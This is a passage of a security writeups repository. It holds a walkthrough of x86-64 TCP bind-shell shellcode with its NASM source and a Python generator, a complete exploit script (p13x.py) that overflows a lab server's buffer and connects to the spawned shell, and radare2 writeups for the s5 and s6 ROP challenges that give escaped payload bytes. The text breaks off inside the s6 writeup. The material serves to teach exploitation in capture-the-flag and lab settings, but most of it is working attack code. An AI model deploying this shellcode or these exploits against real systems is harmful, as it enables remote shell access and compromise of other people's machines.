131 | ; 3 - listen 132 | 133 | ; fd = the socket 134 | 4000c0: 41 50 push r8 135 | 4000c2: 5f pop rdi 136 | 137 | ; backlog = 1 138 | 4000c3: 6a 01 push 0x1 139 | 4000c5: 5e pop rsi 140 | 141 | ; listen(fd, TRUE) call 142 | 4000c6: 6a 32 push 0x32 143 | 4000c8: 58 pop rax 144 | 4000c9: 0f 05 syscall 145 | 146 | ; 4 - accept (this will block until an incoming connection occurs) 147 | 148 | ; peer_sockaddr = reuse the structure allocated in (2) 149 | 4000cb: 48 89 e6 mov rsi,rsp 150 | 151 | ; twisted way to get a pointer to constant 0x10 152 | ; peer_addrlen * = pointer to 0x10 153 | 4000ce: 48 31 c9 xor rcx,rcx 154 | 4000d1: b1 10 mov cl,0x10 155 | 4000d3: 51 push rcx 156 | 4000d4: 48 89 e2 mov rdx,rsp 157 | 158 | ; fd = the socket 159 | 4000d7: 41 50 push r8 160 | 4000d9: 5f pop rdi 161 | 162 | ; accept(fd, peer_sockaddr*, peer_addrlen*) 163 | 4000da: 6a 2b push 0x2b 164 | 4000dc: 58 pop rax 165 | 4000dd: 0f 05 syscall 166 | 167 | ; remove the 0x10 from the stack 168 | 4000df: 59 pop rcx 169 | 170 | ; 5 - dup2 to replace stdin and stdout with socket's 171 | 172 | ; oldfd = socket fd returned from accept() 173 | 4000e0: 4d 31 c9 xor r9,r9 174 | 4000e3: 49 89 c1 mov r9,rax 175 | 4000e6: 4c 89 cf mov rdi,r9 176 | 177 | ; newfd = 3 (stderr) 178 | 4000e9: 48 31 f6 xor rsi,rsi 179 | 4000ec: 6a 03 push 0x3 180 | 4000ee: 5e pop rsi 181 | 00000000004000ef : 182 | 183 | ; newfd-- 184 | 4000ef: 48 ff ce dec rsi 185 | 186 | ; dup2(socket, newfd) 187 | 4000f2: 6a 21 push 0x21 188 | 4000f4: 58 pop rax 189 | 4000f5: 0f 05 syscall 190 | 191 | ; loop until new descriptor is 0 (flags here are set by 'dec') 192 | 4000f7: 75 f6 jne 4000ef 193 | 194 | 195 | ; 6 - execute the shell! 196 | 197 | ; argv and envp = NULL 198 | 4000f9: 48 31 ff xor rdi,rdi 199 | 4000fc: 57 push rdi 200 | 4000fd: 57 push rdi 201 | 4000fe: 5e pop rsi 202 | 4000ff: 5a pop rdx 203 | 204 | ; filename = /bin/sh (the first '/' is duplicated, to avoid explicit null terminator) 205 | ; use little endian 64-bit integer representation of a sequence of chars 206 | 400100: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f 207 | 400107: 2f 73 68 208 | 209 | ; add the null terminator by shifting right, (yeah, little endian string) 210 | 40010a: 48 c1 ef 08 shr rdi,0x8 211 | 212 | ; make a pointer to it 213 | 40010e: 57 push rdi 214 | 40010f: 54 push rsp 215 | 400110: 5f pop rdi 216 | 217 | ; execve('/bin/dash', NULL, NULL) call 218 | 400111: 6a 3b push 0x3b 219 | 400113: 58 pop rax 220 | 400114: 0f 05 syscall 221 | 222 | 223 | To decode syscall numbers, i used this: [https://filippo.io/linux-syscall-table/](https://filippo.io/linux-syscall-table/). 224 | 225 | Ok, now that's demistified a bit, here is a slightly shorter version (it reduces down to 120 bytes) - i guess it can be shortened further, but in this case we already have overflow space to waste: [shell.nasm](shell.nasm). Basically i removed all the unnecessary `xor` instructions and simplified unnecessarily weird pointer creations (like the one at `4000ce`). 226 | 227 | To assemble the nasm source, from linux: 228 | 229 | # nasm shell.nasm 230 | # hexdump -C shell 231 | 00000000 6a 02 5f 6a 01 5e 6a 06 5a 6a 29 58 0f 05 49 89 |j._j.^j.Zj)X..I.| 232 | 00000010 c0 4d 31 d2 41 52 41 52 c6 04 24 02 66 c7 44 24 |.M1.ARAR..$.f.D$| 233 | 00000020 02 7a 69 48 89 e6 41 50 5f 6a 10 5a 6a 31 58 0f |.ziH..AP_j.Zj1X.| 234 | 00000030 05 41 50 5f 6a 01 5e 6a 32 58 0f 05 48 89 e6 6a |.AP_j.^j2X..H..j| 235 | 00000040 10 48 89 e2 41 50 5f 6a 2b 58 0f 05 48 89 c7 6a |.H..AP_j+X..H..j| 236 | 00000050 03 5e 48 ff ce 6a 21 58 0f 05 75 f6 48 31 f6 48 |.^H..j!X..u.H1.H| 237 | 00000060 31 d2 48 bf 2f 2f 62 69 6e 2f 73 68 48 c1 ef 08 |1.H.//bin/shH...| 238 | 00000070 57 54 5f 6a 3b 58 0f 05 |WT_j;X..| 239 | 00000078 240 | 241 | 242 | By concatenating the hex representation of this, leaving the PORT string as a placeholder for the given port, here is the python3 code to generate the shellcode which binds a shell to the given port using a socket: 243 | 244 | ```python 245 | def get_shellcode(port): 246 | hexcode = "6a025f6a015e6a065a6a29580f054989c04d31d241524152c604240266c7442402PORT4889e641505f6a105a6a31580f0541505f6a015e6a32580f054889e66a104889e241505f6a2b580f054889c76a035e48ffce6a21580f0575f64831f64831d248bf2f2f62696e2f736848c1ef0857545f6a3b580f05" 247 | 248 | # render the port to BIG endian 249 | hexport = str(binascii.hexlify(bytearray([ (port >> 8) & 0xff, port & 0xff])), 'utf-8') 250 | 251 | # inject the port in the shellcode 252 | return binascii.unhexlify(bytes(hexcode.replace("PORT",hexport), 'utf-8')) 253 | ``` 254 | 255 | The exploit 256 | ----------- 257 | 258 | Equipped with all the above, it is possible to write a working exploit, which consists of the following steps: 259 | 260 | 1. connect to the target 261 | 2. get the buffer address (needed because of ASLR, it will change at each execution) 262 | 3. send enough data to overflow the buffer in the vuln() function: 263 | * must contain the shellcode, to be placed in the stack 264 | * must overwrite the return pointer in the stack with the shellcode address calculated using buffer address 265 | 4. once the shellcode is sent, open another connection to the chosen port to access our shell 266 | 5. send the commands to the shell to reach our objective 267 | 268 | ### Buffer overflow 269 | 270 | Here is one of the possible buffer designs for a successful buffer overflow attack: 271 | 272 | Chunk len | Content 273 | ----------|--------- 274 | 0x2b0 | 'A' sequence padding 275 | 0x8 | frame pointer overwrite (unused, can be 'A'*8 ) 276 | 0x8 | pointer to shellcode ( buffer addr + 0x2b0 +8 + 8) 277 | 0x78 | shellcode 278 | 279 | This is ok since we have plenty of space, if we had only 16 bytes or less, the shellcode could have been placed inside the buffer, reducing thereby the amount of initial padding 'A's. 280 | 281 | ### Solution script and cinema 282 | 283 | My solution script is [here](p13x.py). It's written in python3 and depends on [binexpect](https://github.com/wapiflapi/binexpect). Here is the live capture of the exploit running on Sam's server: 284 | 285 | [![asciicast](https://asciinema.org/a/1n46beesggchflj8hjcah1ypf.png)](https://asciinema.org/a/1n46beesggchflj8hjcah1ypf) 286 | 287 | I know, it's disappointing, it goes on forever, but i forgot it was running and went away for a while... 288 | -------------------------------------------------------------------------------- /samsclass/p13x/p13x.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import struct 4 | import binascii 5 | import time 6 | import sys 7 | import json 8 | import binexpect 9 | 10 | 11 | def rop(*args): 12 | return struct.pack('Q'*len(args), *args) 13 | 14 | 15 | 16 | target_host = "localhost" #"attack.samsclass.info" # 17 | target_port = "10100" #"13010" # 18 | 19 | setup = binexpect.setup("nc "+ target_host + " " + target_port) 20 | s7 = setup.target() 21 | s7.setecho(False) 22 | 23 | s7.tryexpect("Welcome to the p13x Server! buffer = (.*)\nEnter string \(q to quit\)") 24 | buf_addr = int(str(s7.match.group(1), 'utf-8'), 16) 25 | print ("BUF ADDR: " + hex(buf_addr)) 26 | 27 | def get_shellcode(port): 28 | 29 | # simple tcp bind shell, ripped from: http://shell-storm.org/shellcode/files/shellcode-858.php 30 | 31 | hexcode = "6a025f6a015e6a065a6a29580f054989c04d31d241524152c604240266c7442402PORT4889e641505f6a105a6a31580f0541505f6a015e6a32580f054889e66a104889e241505f6a2b580f054889c76a035e48ffce6a21580f0575f64831f64831d248bf2f2f62696e2f736848c1ef0857545f6a3b580f05" 32 | # render the port to BIG endian 33 | 34 | hexport = str(binascii.hexlify(bytearray([ (port >> 8) & 0xff, port & 0xff])), 'utf-8') 35 | 36 | # inject the port in the shellcode 37 | 38 | return binascii.unhexlify(bytes(hexcode.replace("PORT",hexport), 'utf-8')) 39 | 40 | 41 | def send_shellcode(shellcode, buf_addr): 42 | 43 | # initial padding to fill the buffer and 44 | # the saved frame pointer 45 | payload = bytes('A' * (0x2b0 + 8), 'utf-8') 46 | 47 | payload += rop( 48 | buf_addr+0x2b0+8+8, # return to shellcode 49 | ) 50 | 51 | s7.sendbinline(payload + shellcode) 52 | 53 | 54 | # spawn the shell on target host 55 | shellcode = get_shellcode(6564) 56 | send_shellcode(shellcode, buf_addr) 57 | 58 | # connect to the shell 59 | setup2 = binexpect.setup("nc "+ target_host + " 6564") 60 | shell = setup2.target() 61 | shell.setecho(False) 62 | 63 | shell.pwned() 64 | 65 | """ 66 | type this into the shell: 67 | 68 | echo mrmacete >> /home/p13x/winners 69 | touch /home/p13x/updatenow 70 | """ 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /samsclass/p13x/shell.nasm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | push 0x2 3 | pop rdi 4 | push 0x1 5 | pop rsi 6 | push 0x6 7 | pop rdx 8 | push 0x29 9 | pop rax 10 | syscall 11 | mov r8,rax 12 | xor r10,r10 13 | push r10 14 | push r10 15 | mov byte [rsp],0x2 16 | mov word [rsp+0x2],0x697a 17 | mov rsi,rsp 18 | push r8 19 | pop rdi 20 | push 0x10 21 | pop rdx 22 | push 0x31 23 | pop rax 24 | syscall 25 | push r8 26 | pop rdi 27 | push 0x1 28 | pop rsi 29 | push 0x32 30 | pop rax 31 | syscall 32 | mov rsi,rsp 33 | push 0x10 34 | mov rdx,rsp 35 | push r8 36 | pop rdi 37 | push 0x2b 38 | pop rax 39 | syscall 40 | mov rdi,rax 41 | push 0x3 42 | pop rsi 43 | doop: 44 | dec rsi 45 | push 0x21 46 | pop rax 47 | syscall 48 | jne doop 49 | xor rsi,rsi 50 | xor rdx,rdx 51 | mov rdi,0x68732f6e69622f2f 52 | shr rdi,0x8 53 | push rdi 54 | push rsp 55 | pop rdi 56 | push 0x3b 57 | pop rax 58 | syscall -------------------------------------------------------------------------------- /wapiflapi-exrs/sploit/s5/README.md: -------------------------------------------------------------------------------- 1 | # Solving wapiflapi's s5 with radare2 2 | 3 | ## Intro 4 | This is a tiny yet interesting piece of code: 5 | 6 | 7 | ```c 8 | int main(int argc, char **argv) 9 | { 10 | char buffer[32]; 11 | 12 | (void) argc, (void) argv; 13 | 14 | printf("Welcome Stranger\n"); 15 | printf("What is your password?\n"); 16 | 17 | if (read(0, buffer, 1024) <= 0) 18 | err(EXIT_FAILURE, "read"); 19 | 20 | printf("If you're cool you'll get a shell.\n"); 21 | 22 | if (strcmp("pretend_you_dont_know_this", buffer) == 0) 23 | system("whoami # not sh :)"); 24 | 25 | return 0; 26 | } 27 | ``` 28 | ### Goal 29 | To spawn a shell 30 | 31 | ### Challanges 32 | 1. built-in `system` call's argument is not a shell 33 | 2. only one read call in a single buffer 34 | 3. must be solved using only stdin 35 | 4. no assumptions on libc version or address layout are allowed 36 | 37 | ### Solution plan 38 | 39 | 1. with the first read on the buffer, smash the stack and gain control of `rip` 40 | 2. do a second read, writing the `/bin/sh` string at a known address 41 | 3. execute `system` using the above command as argument 42 | 4. use some ROP because it's fun 43 | 44 | What follows is one of the possible solutions, reached by using the radare2 suite and GNU tools. 45 | 46 | ## Watching from above 47 | Let's examine the provided binary and gain some overview info: 48 | 49 | ``` 50 | $ file s5 51 | s5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped 52 | ``` 53 | 54 | As all other wapiflapi's s-series exrs, this is a 64-bit ELF executable with dynamic linking. No big news, let's spawn radare2: 55 | 56 | ```r2 57 | $ r2 s5 58 | -- Finnished a beer 59 | [0x00400560]> aa 60 | [0x00400560]> s main 61 | [0x0040064d]> V 62 | ``` 63 | Disassembling in visual mode, it is evident that all local variables are allocated in 48 bytes of stack: 64 | 65 | ```asm 66 | │ ;-- main: 67 | │ ;-- sym.main: 68 | │ 0x0040064d push rbp 69 | │ 0x0040064e mov rbp, rsp 70 | │ 0x00400651 sub rsp, 0x30 71 | 72 | ``` 73 | The vulnerable read, as it was already evident from source code, will thankfully read 1024 bytes in the buffer: 74 | 75 | ```asm 76 | │ 0x00400670 lea rax, [rbp - 0x20] 77 | │ 0x00400674 mov edx, 0x400 78 | │ 0x00400679 mov rsi, rax 79 | │ 0x0040067c mov edi, 0 80 | │ 0x00400681 mov eax, 0 81 | │ 0x00400686 call sym.imp.read 82 | ``` 83 | And finally, the call to `system`, "protected" by a `strcmp`: 84 | 85 | ```asm 86 | │ 0x004006b9 call sym.imp.strcmp 87 | │ 0x004006be test eax, eax 88 | │ ┌──< 0x004006c0 jne 0x4006cc 89 | │ │ 0x004006c2 mov edi, str.whoami___not_sh_:_ 90 | │ │ 0x004006c7 call sym.imp.system 91 | 92 | ``` 93 | 94 | ## Step 1 - smashing the stack 95 | The buffer overflown by the vulnerable `read` is placed at `rbp-0x20`. So, the first 32 bytes of the buffer are just fillers, after that it is possible to stuff the new stack layout in order to thwarth the program counter to execute chosen instructions, here is an overview of the desired buffer structure: 96 | 97 | Chunk Contents | Chunk length | Meaning 98 | -----------------| ---------------|---------------- 99 | 0x42..0x42 | 32 bytes | Initial padding (fills the buffer) 100 | 0x42..0x42 | 8 bytes | Overwrites saved frame pointer 101 | 0x??..0x?? | 8 bytes | This overwrites the return address of `main`. From here on, all 8-bytes chunks can be addresses of code or data of choice 102 | 103 | But, what to put in the stack? This depends on the task we choose to perform, let's dig further. 104 | 105 | ## Step 2 - read "/bin/sh" into a fixed memory location 106 | 107 | The first thing to do is making the read call to write into a buffer at a fixed memory location, different from the original intended buffer. Examining the above disassembled `read` snippet, it is straightforward to understand that by controlling `rbp` it is possible to read at an arbirary target location, by setting `rbp = TARGET+0x20`. 108 | 109 | Let's do it with ROP. First, find a suitable gadget: 110 | 111 | ```r2 112 | [0x0040064d]> e rop.len = 2 113 | [0x0040064d]> e search.count = 2 114 | [0x0040064d]> /R rbp 115 | 0x004005a5 5d pop rbp 116 | 0x004005a6 c3 ret 117 | 118 | 0x004005e2 5d pop rbp 119 | 0x004005e3 c3 ret 120 | ``` 121 | 122 | Good, the first is ok. Now we know three chunks to add to the first buffer: 123 | 124 | Chunk Contents | Chunk length | Meaning 125 | -----------------| ---------------|---------------- 126 | 0x004005a5 | 8 bytes | Address of "pop rbp; ret" gadget 127 | 0xTARGET+0x20 | 8 bytes | Address of desired target buffer + 0x20 (still to be chosen) 128 | 0x00400670 | 8 bytes | Address of the `read` snippet 129 | 130 | In order to find a place (`0xTARGET`) to store the shell command, let's enumerate the writable sections: 131 | 132 | ```r2 133 | [0x0040068d]> iS | grep perm=..w 134 | idx=17 vaddr=0x00600e10 paddr=0x00000e10 sz=8 vsz=8 perm=-rw- name=.init_array 135 | idx=18 vaddr=0x00600e18 paddr=0x00000e18 sz=8 vsz=8 perm=-rw- name=.fini_array 136 | idx=19 vaddr=0x00600e20 paddr=0x00000e20 sz=8 vsz=8 perm=-rw- name=.jcr 137 | idx=20 vaddr=0x00600e28 paddr=0x00000e28 sz=464 vsz=464 perm=-rw- name=.dynamic 138 | idx=21 vaddr=0x00600ff8 paddr=0x00000ff8 sz=8 vsz=8 perm=-rw- name=.got 139 | idx=22 vaddr=0x00601000 paddr=0x00001000 sz=80 vsz=80 perm=-rw- name=.got.plt 140 | idx=23 vaddr=0x00601050 paddr=0x00001050 sz=16 vsz=16 perm=-rw- name=.data 141 | idx=24 vaddr=0x00601060 paddr=0x00001060 sz=8 vsz=8 perm=-rw- name=.bss 142 | idx=30 vaddr=0x00600e10 paddr=0x00000e10 sz=2097152 vsz=2097152 perm=-rw- name=phdr1 143 | idx=31 vaddr=0x00400000 paddr=0x00000000 sz=64 vsz=64 perm=-rw- name=ehdr 144 | ``` 145 | Since "/bin/sh" is 8-bytes long (including null terminator), there is plenty of space to fit it in. 146 | 147 | Before choosing the correct location, though, let's reason about the downside of messing with `rbp`. Let's look at the epilogue of the `main` function: 148 | 149 | ```asm 150 | │ 0x004006d1 leave 151 | ╘ 0x004006d2 ret 152 | ``` 153 | The `leave` instruction will set `rsp` to the value of `rbp` and we would loose the control of the stack, since the return address will be popped from a wrong stack. 154 | 155 | This means that we need to regain control of the stack **before** the main function reaches its epilogue, therefore we cannot use ROP this time. 156 | 157 | One way is to overwrite a **.got.plt** entry (one that we don't need for our dark purposes) with the address of some code that let us regain the stack control. From here the silly idea: why not use the PLT as 0xTARGET? in this way it will hold the "/bin/sh" command **and** within the same `read` call we can carefully overwrite an entry in order to avoid the `main` epilogue. 158 | 159 | Let's examine the PLT closely: 160 | 161 | ```r2 162 | [0x0040069e]> iS~.got.plt 163 | idx=22 vaddr=0x00601000 paddr=0x00001000 sz=80 vsz=80 perm=-rw- name=.got.plt 164 | 165 | [0x0040069e]> pxw 80 @ 0x00601000 166 | 0x00601000 0x00600e28 0x00000000 0x00000000 0x00000000 (.`............. 167 | 0x00601010 0x00000000 0x00000000 0x004004f6 0x00000000 ..........@..... 168 | 0x00601020 0x00400506 0x00000000 0x00400516 0x00000000 ..@.......@..... 169 | 0x00601030 0x00400526 0x00000000 0x00400536 0x00000000 &.@.....6.@..... 170 | 0x00601040 0x00400546 0x00000000 0x00400556 0x00000000 F.@.....V.@..... 171 | 172 | [0x0040069e]> is~imp. 173 | vaddr=0x004004f0 paddr=0x000004f0 ord=001 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.puts 174 | vaddr=0x00400500 paddr=0x00000500 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.system 175 | vaddr=0x00400510 paddr=0x00000510 ord=003 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.read 176 | vaddr=0x00400520 paddr=0x00000520 ord=004 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.__libc_start_main 177 | vaddr=0x00400530 paddr=0x00000530 ord=005 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.strcmp 178 | vaddr=0x00400540 paddr=0x00000540 ord=006 fwd=NONE sz=16 bind=UNKNOWN type=NOTYPE name=imp.__gmon_start__ 179 | vaddr=0x00400550 paddr=0x00000550 ord=007 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.err 180 | ``` 181 | 182 | By choosing the address `0x00601030` as value for 0xTARGET, we'll overwrite the entry for `__libc_start_main` with the bytes of the command "/bin/sh" plus the null terminator, and replace the adjacent entry (in this case `strcmp`) with the address of some useful ROP gadget that will give us back the control of the stack. Let's search for gadgets again, this time we need a pop and a ret (edited for brevity): 183 | 184 | ```r2 185 | [0x0040069e]> /R pop 186 | 187 | [...] 188 | 189 | 0x00400743 5f pop rdi 190 | 0x00400744 c3 ret 191 | ``` 192 | Here the gadget at `0x00400743` can be perfect: it will pop the return address from the stack (because we are **calling** this gadget, instead of `strcmp`) and return to the ROP chain prepared on the stack after the first `read`. Actually, this gadget can be used again to get the address of "/bin/sh" into `rdi` before calling `system`. 193 | 194 | ## Putting things together 195 | At this point, all the needed information is gathered and it's possible to structure the data to send in both `read` calls. 196 | 197 | ###Data for the first read: 198 | 199 | Chunk Contents | Chunk length | Meaning 200 | -----------------| ---------------|---------------- 201 | 0x42..0x42 | 32 bytes | Initial padding (fills the buffer) 202 | 0x42..0x42 | 8 bytes | Overwrites saved frame pointer 203 | 0x004005a5 | 8 bytes | Address of "pop rbp; ret" gadget 204 | 0x00601050 | 8 bytes | Address of __libc\_start\_main entry in .got.plt, target of the second read (+ 0x20) 205 | 0x00400670 | 8 bytes | Address of the `read` snippet 206 | 0x00400743 | 8 bytes | Address of "pop rdi; ret" gadget, to make `rdi` point to the "/bin/sh" command 207 | 0x00601030 | 8 bytes | Address of "/bin/sh" 208 | 0x004006d2 | 8 bytes | Address of a "ret" gadget, just to keep the stack aligned for 64 bits function calls (`ret` is the `nop` of ROP world) 209 | 0x004006c7 | 8 bytes | Address to the `call sym.imp.system` instruction in the `main` 210 | 211 | Porting this to 64-bit little endian addresses, and escaping everything for `bash`-friendliness, here is the first buffer: 212 | 213 | ~~~ 214 | \x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x07\x40\x00\x00\x00\x00\x00\xa5\x05\x40\x00\x00\x00\x00\x00\x50\x10\x60\x00\x00\x00\x00\x00\x70\x06\x40\x00\x00\x00\x00\x00\x43\x07\x40\x00\x00\x00\x00\x00\x30\x10\x60\x00\x00\x00\x00\x00\xd2\x06\x40\x00\x00\x00\x00\x00\xc7\x06\x40\x00\x00\x00\x00\x00 215 | ~~~ 216 | 217 | ### Data for the second read: 218 | 219 | Chunk Contents | Chunk length | Meaning 220 | -----------------| ---------------|---------------- 221 | /bin/sh\x00 | 8 bytes | Our evil command 222 | 0x00400743 | 8 bytes | Address of the "pop rdi; ret" here used to return back to our ROP chain by overwriting this pointer to the `strcmp` entry in .got.plt 223 | 224 | Here again, bash-friendly: 225 | 226 | ~~~ 227 | \x2f\x62\x69\x6e\x2f\x73\x68\x00\x43\x07\x40\x00\x00\x00\x00\x00 228 | ~~~ 229 | 230 | ## Running and cinema 231 | 232 | Here is the command line used to send escaped bytes to stdin: 233 | 234 | ```bash 235 | while read -r line; do echo -e $line; done | ./s5 236 | ``` 237 | [![asciicast](https://asciinema.org/a/8dzqjsi9wfbx3v8ex4pyxqsdo.png)](https://asciinema.org/a/8dzqjsi9wfbx3v8ex4pyxqsdo) 238 | 239 | 240 | -------------------------------------------------------------------------------- /wapiflapi-exrs/sploit/s6/README.md: -------------------------------------------------------------------------------- 1 | # Solving wapiflapi's s6 with radare2 2 | 3 | ## Intro 4 | 5 | This solution builds upon the same method applied [to solve s5](https://github.com/mrmacete/writeups/tree/master/wapiflapi-exrs/sploit/s5). 6 | 7 | This time the code is similar, but slightly different: 8 | 9 | ```c 10 | int main(int argc, char **argv) 11 | { 12 | char buffer[32]; 13 | 14 | (void) argc, (void) argv; 15 | 16 | printf("Welcome Stranger\n"); 17 | printf("What is your password?\n"); 18 | 19 | if (read(0, buffer, 48) <= 0) 20 | err(EXIT_FAILURE, "read"); 21 | 22 | printf("If you're cool you'll get a shell.\n"); 23 | 24 | if (strcmp("pretend_you_dont_know_this", buffer) == 0) 25 | system("whoami # not sh :)"); 26 | 27 | return 0; 28 | } 29 | ``` 30 | 31 | The big difference is that the vulnerable `read` call overflows the buffer by only 16 bytes. 32 | 33 | ### Goal 34 | 35 | To spawn a shell 36 | 37 | ### Challanges 38 | 39 | 1. built-in `system` call's argument is not a shell 40 | 2. only one read call in a single buffer 41 | 3. must be solved using only stdin 42 | 4. no assumptions on libc version or address layout are allowed 43 | 5. **only 16 bytes of overlow**! 44 | 45 | ### Solution plan 46 | 47 | 1. with the first read on the buffer, smash the stack and gain control of `rip` 48 | 2. do a second read, writing the `/bin/sh` string at a known address 49 | 3. execute `system` using the above command as argument 50 | 4. use the same **.got.plt / stack resonance** method used in [s5 solution](https://github.com/mrmacete/writeups/tree/master/wapiflapi-exrs/sploit/s5) 51 | 52 | Surely there are simpler solutions, but i'm too stupid / lazy to find them. 53 | 54 | ## A close look to .got.plt 55 | As an introduction, it is useful to recap the structure of the .got.plt section, which is interesting because: 56 | 57 | 1. it's writable 58 | 2. contains pointers to imported functions (more precisely to their wrappers) 59 | 3. dynamically linked code blindly jumps to them upon each call to an imported function 60 | 61 | Here is what radare2 has to tell about it: 62 | 63 | ```r2 64 | $ r2 s6 65 | -- Heisenbug: A bug that disappears or alters its behavior when one attempts to probe or isolate it. 66 | [0x00400560]> aa 67 | [0x00400560]> iS~.got.plt 68 | idx=22 vaddr=0x00601000 paddr=0x00001000 sz=80 vsz=80 perm=-rw- name=.got.plt 69 | 70 | [0x00400560]> pxw 80@0x00601000 71 | 0x00601000 0x00600e28 0x00000000 0x00000000 0x00000000 (.`............. 72 | 0x00601010 0x00000000 0x00000000 0x004004f6 0x00000000 ..........@..... 73 | 0x00601020 0x00400506 0x00000000 0x00400516 0x00000000 ..@.......@..... 74 | 0x00601030 0x00400526 0x00000000 0x00400536 0x00000000 &.@.....6.@..... 75 | 0x00601040 0x00400546 0x00000000 0x00400556 0x00000000 F.@.....V.@..... 76 | 77 | [0x00400560]> ii 78 | [Imports] 79 | ordinal=001 plt=0x004004f0 bind=GLOBAL type=FUNC name=puts 80 | ordinal=002 plt=0x00400500 bind=GLOBAL type=FUNC name=system 81 | ordinal=003 plt=0x00400510 bind=GLOBAL type=FUNC name=read 82 | ordinal=004 plt=0x00400520 bind=GLOBAL type=FUNC name=__libc_start_main 83 | ordinal=005 plt=0x00400530 bind=GLOBAL type=FUNC name=strcmp 84 | ordinal=006 plt=0x00400540 bind=UNKNOWN type=NOTYPE name=__gmon_start__ 85 | ordinal=007 plt=0x00400550 bind=GLOBAL type=FUNC name=err 86 | 87 | 7 imports 88 | ``` 89 | 90 | Mixing above information into an high level tabular representation (all addresses and values are 64 bits wide, truncated for brevity): 91 | 92 | Address |Value | Meaning 93 | ------------------|---------------|----------------- 94 | 0x00601000 | 0x00600e28 | .dynamic 95 | 0x00601008 | 0 | placeholder for dynamic entry 96 | 0x00601010 | 0 | placeholder for dynamic entry 97 | 0x00601018 | 0x004004f6 | puts 98 | 0x00601020 | 0x00400506 | system 99 | 0x00601028 | 0x00400516 | read 100 | 0x00601030 | 0x00400526 | \_\_libc\_start\_main 101 | 0x00601040 | 0x00400536 | strcmp 102 | 0x00601048 | 0x00400546 | \_\_gmon\_start\_\_ 103 | 0x00601050 | 0x00400556 | err 104 | 105 | The first three rows are changed at runtime and cannot be easily overwritten, while the remaining part are mere pointers to which each call to `sym.imp.something` will blindly jump. 106 | 107 | To be precise, the dynamic part is changed only before execution of **real** imported calls and not by overwritten ones, so in the particular case in which all the plt entries will go overwritten, it's ok to use the dynamic entry's space also - only i'm unsure if such a case exists. 108 | 109 | For the purpose of this writeup, though, let's consider only the mere jump pointers as writable, mainly because it's useful to keep the `system` import up and running until the end. 110 | 111 | As in the s5 writeup, we'll use the PLT to store both the "/bin/sh" command string to be used as a parameter for `system`, and to hijack the execution in order to **use (almost) all bytes of the buffer on the stack** for ROPping and not only the last 16. 112 | 113 | 114 | ## Step 1 - smashing the stack 115 | 116 | As usual, the stack smashing will happen thanks to the vulnerable `read` call, which let us overwrite the saved `rbp` value (frame pointer) and the return address of `main`. 117 | 118 | After reading all the 48 bytes, the stack will look like this: 119 | 120 | Chunk Contents | Chunk length | Meaning 121 | -----------------| ---------------|---------------- 122 | ???? | 32 bytes | Initial data, regularly inside the buffer 123 | XXXXXXXX | 8 bytes | Overwrites saved frame pointer 124 | YYYYYYYY | 8 bytes | This overwrites the return address of `main` 125 | 126 | Since the epilogue of `main` is, as usual: 127 | 128 | ```r2 129 | [0x00400560]> e asm.vars=false 130 | [0x00400560]> e asm.varsub=false 131 | [0x00400560]> aa 132 | [0x00400560]> s main 133 | [0x0040064d]> V 134 | [...] 135 | ``` 136 | 137 | ```asm 138 | │ 0x004006d1 c9 leave 139 | ╘ 0x004006d2 c3 ret 140 | ``` 141 | It means that: 142 | 143 | 1. `rbp` will become `XXXXXXXX`, i.e. the overwritten frame pointer 144 | 2. after `ret`, the code at address `YYYYYYYY` is executed 145 | 146 | Basically there's only one bullet, the goal is to not waste it! Let's look at the `read` gadget in `main`: 147 | 148 | ```asm 149 | │ 0x00400670 lea rax, [rbp - 0x20] 150 | │ 0x00400674 mov edx, 0x30 151 | │ 0x00400679 mov rsi, rax 152 | │ 0x0040067c mov edi, 0 153 | │ 0x00400681 mov eax, 0 154 | │ 0x00400686 call sym.imp.read 155 | ``` 156 | So, since we can control `rbp` via `XXXXXXXX` value, it is possible to read again, at a chosen address, by setting `YYYYYYYY` to `0x00400670`. 157 | 158 | As anticipated, the idea is that the second `read` call will overwrite 48 bytes of the .got.plt section, so `XXXXXXXX` will be an address in the range of the PLT table (plus 0x20). 159 | 160 | ## Step 2 - hijacking the PLT 161 | 162 | The goals to achieve by writing on the .got.plt section this time are multiple: 163 | 164 | 1. store the "/bin/sh" command string 165 | 2. rewind the stack a bit, in order to use some more of the buffer already on the stack to build a ROP chain 166 | 3. regain control of the stack and its return chain 167 | 168 | 169 | In order to rewind the stack, the obvius code to execute is the `sub rsp, 0x30` at beginning of `main`: 170 | 171 | ```asm 172 | [0x00400634]> pd 7@main 173 | ╒ (fcn) sym.main 134 174 | │ ; DATA XREF from 0x0040057d (entry0) 175 | │ ;-- main: 176 | │ ;-- sym.main: 177 | │ 0x0040064d push rbp 178 | │ 0x0040064e mov rbp, rsp 179 | │ 0x00400651 sub rsp, 0x30 180 | │ 0x00400655 mov dword [rbp - 0x24], edi 181 | │ 0x00400658 mov qword [rbp - 0x30], rsi 182 | │ 0x0040065c mov edi, str.Welcome_Stranger ; "Welcome Stranger" @ 0x400768 183 | │ 0x00400661 call sym.imp.puts 184 | │ sym.imp.puts() 185 | ``` 186 | This means that by replacing a .got.plt entry to point to `0x00400651`, it is possible to execute the stack rewind. Here are the obstacles: 187 | 188 | * after the stack rewind, all the `main` function will be executed again 189 | * currently our `rbp` still points to the address into .got.plt section 190 | 191 | Here are the solutions: 192 | 193 | * overwrite all the non-`system` imports in order to avoid stack writing that can destroy our ROP chain which is already on the stack 194 | * use the last of the functions to regain control of the stack and start the ROP chain 195 | * instead of executing directly the `sub rsp, 0x30`, jump to the previous instruction: `mov rbp, rsp` this will avoid overwriting the dynamic parts of the PLT, at the cost of loosing the first 16 bytes of the available stack buffer, but it's ok in this case 196 | 197 | All the needed ROP gadgets are: 198 | 199 | ```asm 200 | 